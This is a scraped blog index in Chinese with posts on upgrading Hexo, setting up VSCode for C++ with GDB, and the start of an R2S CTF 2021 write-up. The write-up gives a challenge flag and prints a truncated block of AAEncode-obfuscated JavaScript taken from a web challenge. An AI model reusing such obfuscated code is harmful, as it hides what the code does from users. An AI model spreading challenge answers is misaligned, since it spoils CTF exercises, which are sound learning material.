裡面的 fluid 改名。\nyarn add hexo-theme-fluid 接下來就是更改 Hexo Fluid 的主題樣式\u0026hellip;\u0026hellip;\n圖片 Location 問題 # 改版之後，圖片解析都怪怪的，全部都跑去根目錄，而不是原本的文章裡面 後來在查官網文件 _config.yml 都才發現 hexo-renderer-marked 多了一些選項\npost_asset_folder: true marked: prependRoot: true postAsset: true 之後把 hexo 重新清理產生就好了\nhexo clean hexo s 不過有個 warning 一直都沒有解決\n修正 Node.js circular dependency # (node:96093) Warning: Accessing non-existent property \u0026#39;lineno\u0026#39; of module exports inside circular dependency (Use `node --trace-warnings ...` to show where the warning was created) (node:96093) Warning: Accessing non-existent property \u0026#39;column\u0026#39; of module exports inside circular dependency (node:96093) Warning: Accessing non-existent property \u0026#39;filename\u0026#39; of module exports inside circular dependency (node:96093) Warning: Accessing non-existent property \u0026#39;lineno\u0026#39; of module exports inside circular dependency (node:96093) Warning: Accessing non-existent property \u0026#39;column\u0026#39; of module exports inside circular dependency (node:96093) Warning: Accessing non-existent property \u0026#39;filename\u0026#39; of module exports inside circular dependency 這個問題我參考了這篇解決 package.json 後面加上\n\u0026#34;resolutions\u0026#34;: { \u0026#34;stylus\u0026#34;: \u0026#34;^0.57.0\u0026#34; } 最後變成這樣\n{ \u0026#34;name\u0026#34;: \u0026#34;hexo-site\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;0.0.0\u0026#34;, \u0026#34;private\u0026#34;: true, \u0026#34;hexo\u0026#34;: { \u0026#34;version\u0026#34;: \u0026#34;6.1.0\u0026#34; }, \u0026#34;dependencies\u0026#34;: { \u0026#34;hexo\u0026#34;: \u0026#34;^6.1.0\u0026#34;, \u0026#34;hexo-autoprefixer\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-deployer-git\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-generator-archive\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-generator-category\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-generator-feed\u0026#34;: \u0026#34;^2.2.0\u0026#34;, \u0026#34;hexo-generator-index\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-generator-json-content\u0026#34;: \u0026#34;^4.1.6\u0026#34;, \u0026#34;hexo-generator-search\u0026#34;: \u0026#34;^2.4.0\u0026#34;, \u0026#34;hexo-generator-sitemap\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-generator-tag\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-inject\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-math\u0026#34;: \u0026#34;^3.0.4\u0026#34;, \u0026#34;hexo-renderer-ejs\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-renderer-less\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-renderer-marked\u0026#34;: \u0026#34;^5.0.0\u0026#34;, \u0026#34;hexo-renderer-stylus\u0026#34;: \u0026#34;^2.0.1\u0026#34;, \u0026#34;hexo-server\u0026#34;: \u0026#34;^3.0.0\u0026#34;, \u0026#34;hexo-theme-fluid\u0026#34;: \u0026#34;^1.8.14\u0026#34; }, \u0026#34;resolutions\u0026#34;: { \u0026#34;stylus\u0026#34;: \u0026#34;^0.57.0\u0026#34; } } 最後再 yarn 重新安裝 hexo-renderer-stylus 一次就好\nyarn remove hexo-renderer-stylus yarn add hexo-renderer-stylus 後記 Afterword # 其實我理想狀況是想把這些都丟給 GitHub Action 可以直接 Push 上去後直接 CI/CD 發佈完成 雖然還在 Mac 上面打文章，不過已經把環境初步整理完成 剩下就是 Deploy 的部分了\n完成後我應該會再寫一篇文章\n","date":"2022/04/07","externalUrl":null,"permalink":"/posts/hexo-3-upgrade-to-6/","section":"Posts","summary":"2018.08.26 我在這網站發布了第一篇貼文 {% post_link hello-world %} 原本在這裡是想寫演算法競賽的解題報告 用了當時蠻流行的組合 Hexo + GitHub Page 架設了 Blog 出來\n","title":"Hexo 3 升級到 Hexo 6 的各種奇怪踩坑","type":"posts"},{"content":"","date":"2022/04/07","externalUrl":null,"permalink":"/tags/nodejs/","section":"Tags","summary":"","title":"Nodejs","type":"tags"},{"content":"","date":"2022/04/07","externalUrl":null,"permalink":"/tags/npm/","section":"Tags","summary":"","title":"Npm","type":"tags"},{"content":"","date":"2022/04/07","externalUrl":null,"permalink":"/tags/upgrade/","section":"Tags","summary":"","title":"Upgrade","type":"tags"},{"content":"","date":"2022/04/07","externalUrl":null,"permalink":"/tags/yarn/","section":"Tags","summary":"","title":"Yarn","type":"tags"},{"content":"上一篇教學有教大家怎麼自己建立簡單的 C++ 環境了。 但你以為就只有這樣嗎？其實這樣根本不夠，我打競賽根本不只安裝這些東西呢！\n（競賽我會用的應該會放在 Part 3）\n今天來介紹常用的 IntelliSense 跟 GDB 吧！\nIntelliSense 設定 # IntelliSense 其實就是 Code Auto-Completion，也就是程式碼自動完成，打上一些關鍵字就可以知道你想做什麼。\n安裝 C/C++ 延伸套件 # 上次教學連 C/C++ 官方套件都還沒裝呢！不過它還不錯用喔，趕快裝起來吧\n安裝完後就會發現\n欸？都用好了？ 我完全不用設定欸！\n但這樣篇幅有點少，我完全不能湊字數\n按下 ctrl + shift + p 打開命令選擇區，打上 c/c++: edit，選擇 編輯組態 (UI)\n這時候就會跳出來 C/C++ Configuration，同時在 .vscode 資料夾裡面多了 c_cpp_properties.json\n我就針對基礎選項來做一些介紹。\nIntelliSense 選項介紹 # 設定名稱：就保持它原本的 Win32 就好，想改好像也不影響，不要改成其他的特殊識別項就好了。\n編譯器路徑：找你的 gcc 或 g++ 在哪，這裡我會改成 g++.exe，為了整合方便就選擇 g++.exe\n編譯器引數：需要額外為編譯器加哪些參數。但這裡也不需要特別動它。\n如果有需要編譯成 32 bit 需求，也可以打在這裡，如果打上 -m32，下面的選項會發出 Warning 已自動切換 IntelliSense 模式，需要注意一下。\nIntelliSense 模式：這裡也要選好，系統才知道你要套用什麼樣的 Code Auto-Completion，也要跟剛剛上述所說的設定相符。\nWindows 系統，g++ 編譯器，64 位元，當然就選它啦。\n上面編譯器路徑選 g++，這裡如果直接選擇 msvc，系統會直接說不相容。\n包含路徑：這裡就是專門給自訂路徑的標頭檔，E.g. #include 'testlib.h'，這種非原本編譯器所提供的，讓 IntelliSense 不會隨便就跳出找不到檔案，基本上也不需要動它。\n定義：這裡你也可以先 Define 一些東西，這個在有些競賽程式模板也會常常用。\n入門、基礎的不需要動它也沒關係。 已經進階知道模版的用法可以直接在這裡打上你要的 Local Define。\nC 標準 / C++ 標準：就是選擇標準版本。\n剛入門的不需要動它也沒關係。 主流的 Online Judge 都有支援 C++ 11/14/17，就直接選 gnu++ 後面所對應的版本即可。\n進階設定的選項，我也用不太到，有需要的人就自行 Google 啦！\n設定完後，你的 .vscode/c_cpp_properties.json 大概會長得像這樣子，根據各自需求去調整即可。\n{ \u0026#34;configurations\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;Win32\u0026#34;, \u0026#34;includePath\u0026#34;: [ \u0026#34;${workspaceFolder}/**\u0026#34; ], \u0026#34;defines\u0026#34;: [ \u0026#34;_DEBUG\u0026#34;, \u0026#34;UNICODE\u0026#34;, \u0026#34;_UNICODE\u0026#34; ], \u0026#34;compilerPath\u0026#34;: \u0026#34;C:/TDM-GCC-64/bin/g++.exe\u0026#34;, \u0026#34;cStandard\u0026#34;: \u0026#34;gnu17\u0026#34;, \u0026#34;cppStandard\u0026#34;: \u0026#34;gnu++14\u0026#34;, \u0026#34;intelliSenseMode\u0026#34;: \u0026#34;windows-gcc-x64\u0026#34; } ], \u0026#34;version\u0026#34;: 4 } GDB # 接下來就來設定 VSCode + GDB 除錯工具吧\nBTW 這裡開始都是參考 VSCode 的官方教學，文章下面會附上連結。\n設定 Build 工作 # 檔案選擇任意 C++ 程式檔案，按下上方選單終端機，裡面有個選項叫做設定預設組件工作。\n這裡就會跳出 cpp 跟 g++ 選項，其實這裡沒差，確保前後一致就選 g++ 吧\n選擇完後就會多一個檔案，.vscode/tasks.json，長的類似這樣。\n{ \u0026#34;version\u0026#34;: \u0026#34;2.0.0\u0026#34;, \u0026#34;tasks\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;cppbuild\u0026#34;, \u0026#34;label\u0026#34;: \u0026#34;C/C++: g++.exe 建置使用中檔案\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;C:/TDM-GCC-64/bin/g++.exe\u0026#34;, \u0026#34;args\u0026#34;: [ \u0026#34;-g\u0026#34;, \u0026#34;${file}\u0026#34;, \u0026#34;-o\u0026#34;, \u0026#34;${fileDirname}\\\\${fileBasenameNoExtension}.exe\u0026#34; ], \u0026#34;options\u0026#34;: { \u0026#34;cwd\u0026#34;: \u0026#34;C:/TDM-GCC-64/bin\u0026#34; }, \u0026#34;problemMatcher\u0026#34;: [ \u0026#34;$gcc\u0026#34; ], \u0026#34;group\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;build\u0026#34;, \u0026#34;isDefault\u0026#34;: true }, \u0026#34;detail\u0026#34;: \u0026#34;編譯器: C:/TDM-GCC-64/bin/g++.exe\u0026#34; } ] } 補充說明：選擇 C++ 標準版本、參數 # 如果照 VSCode 設定，他沒有不會寫版本，沒有指定版本就照編譯器的預設。 想要指定版本可以在 args 加入你要的編譯版本 \u0026quot;-std=c++14\u0026quot;。 如果想打開所有警告跟額外警告，就分別加上 \u0026quot;-Wall\u0026quot; 跟 \u0026quot;-Wextra\u0026quot;。\n{ \u0026#34;version\u0026#34;: \u0026#34;2.0.0\u0026#34;, \u0026#34;tasks\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;cppbuild\u0026#34;, \u0026#34;label\u0026#34;: \u0026#34;C/C++: g++.exe 建置使用中檔案\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;C:/TDM-GCC-64/bin/g++.exe\u0026#34;, \u0026#34;args\u0026#34;: [ \u0026#34;-g\u0026#34;, \u0026#34;${file}\u0026#34;, \u0026#34;-std=c++14\u0026#34;, \u0026#34;-Wall\u0026#34;, \u0026#34;-Wextra\u0026#34;, \u0026#34;-O2\u0026#34;, \u0026#34;-o\u0026#34;, \u0026#34;${fileDirname}\\\\${fileBasenameNoExtension}.exe\u0026#34; ], \u0026#34;options\u0026#34;: { \u0026#34;cwd\u0026#34;: \u0026#34;C:/TDM-GCC-64/bin\u0026#34; }, \u0026#34;problemMatcher\u0026#34;: [ \u0026#34;$gcc\u0026#34; ], \u0026#34;group\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;build\u0026#34;, \u0026#34;isDefault\u0026#34;: true }, \u0026#34;detail\u0026#34;: \u0026#34;編譯器: C:/TDM-GCC-64/bin/g++.exe\u0026#34; } ] } 補充說明：多檔案編譯 # 這裡的 tasks.json 是給單檔案編譯用的，如果想要改成寫 C++ 專案，也可以直接調整 args 的參數。\nLine 10 的 ${file} 改為 ${workspaceFolder}\\\\*.cpp，就會把你該資料夾底下的 cpp 都拿進來編譯。 Line 12 的 ${fileDirname}\\\\${fileBasenameNoExtension}.exe 也可以直接改為 ${fileDirname}\\\\Main.exe，把編譯完成後的執行檔指定名字。'\n改完後就會長像這樣\n{ \u0026#34;version\u0026#34;: \u0026#34;2.0.0\u0026#34;, \u0026#34;tasks\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;cppbuild\u0026#34;, \u0026#34;label\u0026#34;: \u0026#34;C/C++: g++.exe 建置使用中檔案\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;C:/TDM-GCC-64/bin/g++.exe\u0026#34;, \u0026#34;args\u0026#34;: [ \u0026#34;-g\u0026#34;, \u0026#34;${workspaceFolder}\\\\*.cpp\u0026#34;, \u0026#34;-o\u0026#34;, \u0026#34;${fileDirname}\\\\Main.exe\u0026#34; ], \u0026#34;options\u0026#34;: { \u0026#34;cwd\u0026#34;: \u0026#34;C:/TDM-GCC-64/bin\u0026#34; }, \u0026#34;problemMatcher\u0026#34;: [ \u0026#34;$gcc\u0026#34; ], \u0026#34;group\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;build\u0026#34;, \u0026#34;isDefault\u0026#34;: true }, \u0026#34;detail\u0026#34;: \u0026#34;編譯器: C:/TDM-GCC-64/bin/g++.exe\u0026#34; } ] } 這樣就可以改成類似 C++ 專案編譯了，不過為了方便 Demo 起見，我還是改為原本的 tasks.json。\n把 GDB 掛上 Debugger # 按下上方執行，有個選項叫做新增組態\n選擇後會有兩個選項，因為我們是用 GDB，當然就選擇 GDB。\n跑 Demo 的時候，其實我也沒頭緒為何會有兩個組態，選下面會再多出一個版本，遇到有重複的就選上面吧！\n選擇完以後，VSCode 就會進入除錯器模式了，看到底下變橘色，就已經成功一半了。\n同時也多了一個 .vscode/launch.json 檔案\n注意事項：開 GDB 時，資料夾或檔案名稱不要有任何中文 # 有些人到這裡就會跳出下列錯誤\n這裡推測原因是 GDB 不能接受中文文字的關係。 編譯有中文字是可以編譯，也可以執行，但要開啟 GDB 除錯模式就會直接報 Error。\n請確定你的資料夾跟檔案不要命名成中文，上層的資料夾也不要有任何中文（像是桌面、文件資料夾），有中文字換掉就好，不需要重做上面的步驟。\n如果有人解開這 Unicode 問題麻煩再底下留言跟我說吧。\n測試 GDB Debugger 1 # 首先拿出我們的測試程式\n#include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; int main() { string name; cin \u0026gt;\u0026gt; name; cout \u0026lt;\u0026lt; \u0026#34;Hello \u0026#34; \u0026lt;\u0026lt; name \u0026lt;\u0026lt; \u0026#34;!\u0026#34; \u0026lt;\u0026lt; endl; return 0; } 我們在輸出 Line 8 前設個中斷點，往數字旁停過去就會有小紅點，按一下就會有實心小紅點了。\n按下 F5 啟動偵錯。\n跑完後就會像是這樣子。\n輸入一段文字吧，範例使用 Jerry，按下 Enter 後，就會看到它停留在中斷點了。\n這裡能看的東西真的很多，連 CPU Register 都可以看（基本上 GDB 常用的東西都會在這裡出現）\n那就來加入一些稍微複雜的 Code，這段 Code 是來自官方教學的。\n測試 GDB Debugger 2 # #include \u0026lt;iostream\u0026gt; #include \u0026lt;vector\u0026gt; #include \u0026lt;string\u0026gt; using namespace std; int main() { vector\u0026lt;string\u0026gt; msg {\u0026#34;Hello\u0026#34;, \u0026#34;C++\u0026#34;, \u0026#34;World\u0026#34;, \u0026#34;from\u0026#34;, \u0026#34;VS Code\u0026#34;, \u0026#34;and the C++ extension!\u0026#34;}; for (const string\u0026amp; word : msg) { cout \u0026lt;\u0026lt; word \u0026lt;\u0026lt; \u0026#34; \u0026#34;; } cout \u0026lt;\u0026lt; endl; } Line 9 \u0026amp; 13 上中斷點，按下 F5 開始除錯吧！\n它在 Line 9 停下來，這時候 msg 還沒被建立，按下上方第二個按鈕不進入函式（Step over）。\n這時候你就會看到它停留在下一行的 for，你也可以看到它的 msg 建立出來了。\n也可以在監看這裡打上區域變數 word 來看看變化情況。\n按下上方第三個按鈕逐步執行（Step into）。\n就會看到程式跳進去 STL 的變化情形喔。\n按下上方第一個按鈕繼續（Continue），就會繼續跑，直到下一個中斷點。\n好了，這邊很基礎的 GDB 設定就是這樣啦，就可以來好好除錯，不要再用什麼 printf / cout Debug 了，GDB 很香的。\n簡介 Debugger 按鈕作用 # 在上面範例中，我稍微講一下這些按鈕在做啥。\n第一個按鈕：繼續（Continue），按下去後會持續跑，直到下個中斷點。 第二個按鈕：不進入函式（Step over），按下去後，會到在目前這 Function 跑到下一個敘述。 第三個按鈕：逐步執行（Step into），按下去後，會進入到每一部 Function 執行敘述並中斷。 第四個按鈕：逐步執行（Step out），按下去後，會直接把 Function 執行完並中斷。 第五個按鈕：重新起動，重跑 GDB 偵錯。 第六個按鈕：停止，停止 GDB 偵錯。\nFAQ # 上一篇用 Code Runner 編譯出來的程式能直接使用 GDB 嗎？ # 不行，Code Runner 的編譯參數沒有 -g，是不會有 Debug 資訊。 基本上我會想把「一般執行」跟「除錯執行」分開，「一般執行」給 Code Runner，「除錯執行」給 VSCode Debugger。 畢竟 VSCode Debugger 已經留好位置給 GDB 了，就不需要再拿到命令列執行了。\n總結 # 看到這裡，恭喜你，你的 VSCode C++ 有了自動完成，也有了一般 IDE 常有的除錯功能，而且不用裝到像 Visual Studio 這麼肥的工具包，是不是很棒呢？\n下一篇會介紹我在競賽中常用的延伸功能，可能為這系列的最後一篇。\n如果覺得這篇很讚，麻煩就在文章下方左下角按多一點的 Like，並且幫我分享出去給需要的朋友看吧！\n也可以順便在右上角按下 RSS 訂閱追蹤我，那就下一篇文章見，ㄅㄅ！\nReferences # Using GCC with MinGW - VSCode Step Into Step-through Debugging ","date":"2021/09/26","externalUrl":null,"permalink":"/posts/vscode-cpp-2021-part2/","section":"Posts","summary":"上一篇教學有教大家怎麼自己建立簡單的 C++ 環境了。 但你以為就只有這樣嗎？其實這樣根本不夠，我打競賽根本不只安裝這些東西呢！\n","title":"(2021 最新) 用 VSCode 寫 C++ 教學 - Part 2","type":"posts"},{"content":"","date":"2021/09/26","externalUrl":null,"permalink":"/tags/cpp/","section":"Tags","summary":"","title":"Cpp","type":"tags"},{"content":"","date":"2021/09/26","externalUrl":null,"permalink":"/tags/gdb/","section":"Tags","summary":"","title":"Gdb","type":"tags"},{"content":"","date":"2021/09/26","externalUrl":null,"permalink":"/tags/intellisense/","section":"Tags","summary":"","title":"Intellisense","type":"tags"},{"content":"","date":"2021/09/26","externalUrl":null,"permalink":"/tags/vscode/","section":"Tags","summary":"","title":"Vscode","type":"tags"},{"content":"","date":"2021/09/26","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"本次環境：VSCode + Code Runner + TDM-GCC 10.3.0 /w Windows 10\n前言 # 之前 Dev-C++ 手動升級編譯器使用的是 MinGW。 但後來發現 MinGW 有點太舊了（有的電腦還會裝到 6.2.0），是時候換個編譯器了。\nTDM-GCC 目前版本為 10.3.0，最新版的 GNU GCC 為 11.2（截至 2021/09/23 以前）。\n安裝 TDM-GCC # TDM-GCC 官方網站：https://jmeubank.github.io/tdm-gcc/\n進到 Download 會有以下選項，上面兩個按鈕都可以選。 tdm-gcc-webdl.exe 是網路安裝，會自動上網抓最新版。 tdm64-gcc-10.3.0-2.exe 就是 Local 安裝，根據後面版本號多少就是多少。\n按下 Create 安裝。\n選擇 MinGW-w64/TDM64。\n可以不用動它，下一步就好。\n這裡就照他預設給的就好，除非你有想裝 Fortran Ada 那些再來選。 如果想跑 C/C++ 平行處理記得打勾 OpenMP。\n安裝中\u0026hellip;\u0026hellip;\n安裝完畢後，打開 cmd，輸入 g++ -v，跳出類似下方訊息就代表成功。\n如果沒有成功請看 FAQ\nVSCode 設定 # 我這裡會習慣開單獨資料夾放 C++ 的獨立環境，放哪裡其實沒差，因為都適用。\n打開後大概會像這樣，空白的資料夾，左上方會寫你打開的資料夾名稱（我取名叫 CppSolution）。\n接下來到 VSCode 延伸模組安裝 Code Runner。\n安裝完後回到開啟的資料夾。 開新的資料夾 .vscode，裡面開新檔案 settings.json 將以下文字貼進去裡面。\n{ \u0026#34;code-runner.ignoreSelection\u0026#34;: true, \u0026#34;code-runner.executorMap\u0026#34;: { \u0026#34;cpp\u0026#34;: \u0026#34;cd $dir \u0026amp; g++ -Wall -Wextra -O2 -std=c++14 \\\u0026#34;$fileName\\\u0026#34; -o \\\u0026#34;$fileNameWithoutExt\\\u0026#34; \u0026amp; $dir\\\u0026#34;$fileNameWithoutExt\\\u0026#34;\u0026#34; }, \u0026#34;code-runner.preserveFocus\u0026#34;: false, \u0026#34;code-runner.clearPreviousOutput\u0026#34;: true, \u0026#34;code-runner.runInTerminal\u0026#34;: true, \u0026#34;code-runner.saveFileBeforeRun\u0026#34;: true, \u0026#34;terminal.integrated.defaultProfile.windows\u0026#34;: \u0026#34;Command Prompt\u0026#34;, } 大概說一下在做什麼： Line 3 code-runner.executorMap 是設定副檔名為 xxx 時，作執行時會跑哪些命令。 Line 4 設定 cpp 的執行命令。進入該檔案的資料夾，使用 g++ 加上其他參數編譯（也可以自行改 c++17），並且執行它。 Line 7 清除上次在終端機執行的輸出。 Line 8 在終端機上面跑，這一定要設定為 true，不然會跑到輸出，而非終端機。 Line 9 執行前先存檔。 Line 10 預設終端機改為 Windows Command Prompt。\n接下來，打一段 Code 來測試吧！\n#include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; int main() { string name; cin \u0026gt;\u0026gt; name; cout \u0026lt;\u0026lt; \u0026#34;Hello \u0026#34; \u0026lt;\u0026lt; name \u0026lt;\u0026lt; \u0026#34;!\u0026#34; \u0026lt;\u0026lt; endl; return 0; } 按下右上角的播放鍵就可以 Run Code 了。\n恭喜你已經做出最簡單的 C++ 單檔案編譯執行了，是不是很棒呢？\nFAQ # g++ 不是內部或外部命令、可執行的程式或批次檔。 # 這個問題通常是環境變數沒有加好，不過安裝 TDM-GCC 時它已經很貼心幫你加入了，請把 cmd 或 VSCode 關掉重開就好。\n或者參考我{% post_link devcplusplus-gplusplus-8 以前的文章 %}加入環境變數，路徑為：你的 TDM-GCC 路徑\\bin，E.g. C:\\TDM-GCC-64\\bin，加入後再把 cmd 或 VSCode 關掉重開就好。\n後記 # VSCode 的彈性其實很大，也可以根據你的需求調整。 上面的命令也可以改成檔案輸出入重新導向。\n\u0026#34;cpp\u0026#34;: \u0026#34;cd $dir \u0026amp; g++ -Wall -Wextra -O2 -std=c++14 \\\u0026#34;$fileName\\\u0026#34; -o \\\u0026#34;$fileNameWithoutExt\\\u0026#34; \u0026amp; $dir\\\u0026#34;$fileNameWithoutExt\\\u0026#34; \u0026lt; 1.in \u0026gt; 1.out\u0026#34; 可以再加裝其他的延伸模組來玩，像是 Template Generator 拿來打模板。 不過礙於篇幅，就不多介紹了，如果需要就在底下多按讚跟留言，可以考慮再寫一篇介紹。\n那我們就下一篇文章見！ㄅㄅ\n","date":"2021/09/24","externalUrl":null,"permalink":"/posts/vscode-cpp-2021-part1/","section":"Posts","summary":"本次環境：VSCode + Code Runner + TDM-GCC 10.3.0 /w Windows 10\n前言 # 之前 Dev-C++ 手動升級編譯器使用的是 MinGW。 但後來發現 MinGW 有點太舊了（有的電腦還會裝到 6.2.0），是時候換個編譯器了。\n","title":"(2021 最新) 用 VSCode 寫 C++ 教學 - Part 1","type":"posts"},{"content":"","date":"2021/09/24","externalUrl":null,"permalink":"/tags/code-runner/","section":"Tags","summary":"","title":"Code Runner","type":"tags"},{"content":"","date":"2021/09/24","externalUrl":null,"permalink":"/tags/tdm-gcc/","section":"Tags","summary":"","title":"Tdm-Gcc","type":"tags"},{"content":"","date":"2021/07/19","externalUrl":null,"permalink":"/tags/r2s/","section":"Tags","summary":"","title":"R2s","type":"tags"},{"content":"這次比賽真的不算是誤打誤撞了，號稱給新手入門 CTF 的比賽，抱著個新手心情參與了。\nTL;DR 點我直接挑到 Writeup\n實際情況：看到題目還是不會做，被各種迷因洗腦，而且賽中牛鬼蛇神太多了，心態直接崩到底（我還遇到當 AIS3 體驗場助教來打比賽，還是 Offical 的，我實在是不知道主辦到底怎麼篩選的）。 第一次跟網友線上組隊（非現場），自己實在很菜到不行，去跟別人求組隊，不過蠻幸運的是剛好湊滿四位一起打這場比賽。\n比賽結果 # 隊伍名稱：菜雞校正轉生到打 CTF 這檔事\nScore：4191\nTeam Members：\ntico88612 waig548 idisused cow03haha 謝謝隊員們陪我一起打 CTF，我也學到蠻多東西。 waig548 直接一人單幹 2000 多分，真的很猛，本隊 MVP 實屬他。 waig548 的 Writeup 連結\n全體排行榜 # Rank：6 / 81\n官方排行榜 # Rank：3 / 44 (DQ -1)\nR2S CTF 2021 Quals Writeup # 本篇文章除了有自己的通靈心路歷程以外，也搜集了一些大神們的 Code \u0026amp; 解答想法，給自己的打成一篇文章以此借鑑，也謝謝大神們的無私分享。 對於本篇文章有任何問題，也可以在下面留言給我喔！我看到一定會回覆。\nWelcome ❤ # Welcome to R2S CTF o((\u0026gt;ω\u0026lt; ))o # Problem Solver: waig548\n簽到題，Discord 找答案，直接把總是暴雷打開就可以不用一個一個點了。\n本次比賽的 Flag format: R2S{.*}，所以本場 Flag 長的很奇怪也不要太在意\nFlag: R2S{u_kn0w_7he_ru13s_n0w_s01v3_a1I_7he_Ch4ll3nge5s_u_c4n_s3e}\nWeb 🕸️ # Chatroom # Problem Solver: tico88612\n點進去網址以後，翻一翻好像沒什麼，但一個聊天窗留下超多顏文字。\nﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ [\u0026#39;_\u0026#39;]; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: \u0026#39;_\u0026#39; ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +\u0026#39;_\u0026#39;) [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ \u0026#39;_\u0026#39;)[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +\u0026#39;_\u0026#39;)[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +\u0026#39;_\u0026#39;) [c^_^o];(ﾟДﾟ) [\u0026#39;c\u0026#39;] = ((ﾟДﾟ)+\u0026#39;_\u0026#39;) [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) [\u0026#39;o\u0026#39;] = ((ﾟДﾟ)+\u0026#39;_\u0026#39;) [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) [\u0026#39;c\u0026#39;]+(ﾟДﾟ) [\u0026#39;o\u0026#39;]+(ﾟωﾟﾉ +\u0026#39;_\u0026#39;)[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +\u0026#39;_\u0026#39;) [ﾟｰﾟ] + ((ﾟДﾟ) +\u0026#39;_\u0026#39;) [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +\u0026#39;_\u0026#39;) [ﾟΘﾟ]+((ﾟｰﾟ==3) +\u0026#39;_\u0026#39;) [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) [\u0026#39;c\u0026#39;]+((ﾟДﾟ)+\u0026#39;_\u0026#39;) [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) [\u0026#39;o\u0026#39;]+((ﾟｰﾟ==3) +\u0026#39;_\u0026#39;) [ﾟΘﾟ];(ﾟДﾟ) [\u0026#39;_\u0026#39;] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +\u0026#39;_\u0026#39;) [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+\u0026#39;_\u0026#39;) [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +\u0026#39;_\u0026#39;) [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +\u0026#39;_\u0026#39;) [ﾟΘﾟ]+ (ﾟωﾟﾉ +\u0026#39;_\u0026#39;) [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]=\u0026#39;\\\\\u0026#39;; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +\u0026#39;_\u0026#39;)[c^_^o];(ﾟДﾟ) [ﾟoﾟ]=\u0026#39;\\\u0026#34;\u0026#39;;(ﾟДﾟ) [\u0026#39;_\u0026#39;] ( (ﾟДﾟ) [\u0026#39;_\u0026#39;] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + 